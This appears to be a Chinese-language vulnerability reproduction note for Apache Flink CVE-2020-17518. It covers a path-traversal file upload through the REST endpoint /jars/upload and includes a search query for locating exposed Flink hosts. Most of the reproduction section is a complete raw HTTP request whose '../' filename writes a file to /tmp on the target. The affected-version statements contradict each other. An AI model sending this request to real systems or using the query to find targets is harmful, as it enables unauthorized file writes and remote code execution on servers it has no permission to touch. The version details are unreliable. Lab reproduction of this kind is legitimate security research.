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67 lines
1.6 KiB
Markdown
67 lines
1.6 KiB
Markdown
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# Apache Flink 小于 1.9.1 远程代码执行 CVE-2020-17518
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## 漏洞描述
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Apache Flink 是一个开源流处理框架，具有强大的流处理和批处理能力。
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Apache Flink 1.5.1 引入了一个 REST 处理程序，可以通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。
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Apache Flink 的任意 Jar 包上传可以导致远程代码执行。
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参考：
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- https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
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## 漏洞影响
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```
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Apache Flink <= 1.9.1(最新版本)
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```
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## 网络测绘
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```
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app="Apache-Flink" && country="CN"
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```
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## 环境搭建
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Vulhub 执行以下命令启动 Apache Flink jobmanager 1.11.2：
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```
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docker-compose up -d
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```
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Apache Flink 启动后，访问 `http://your-ip:8081` 查看主页。
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## 漏洞复现
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### 上传文件
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使用以下请求将文件上传到 `/tmp/awesome_poc`：
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```
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POST /jars/upload HTTP/1.1
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Host: localhost:8081
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Length: 187
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------WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/awesome_poc"
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success
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------WebKitFormBoundaryoZ8meKnrrso89R6Y--
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```
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查看 docker，`/tmp/awesome_poc` 成功创建。
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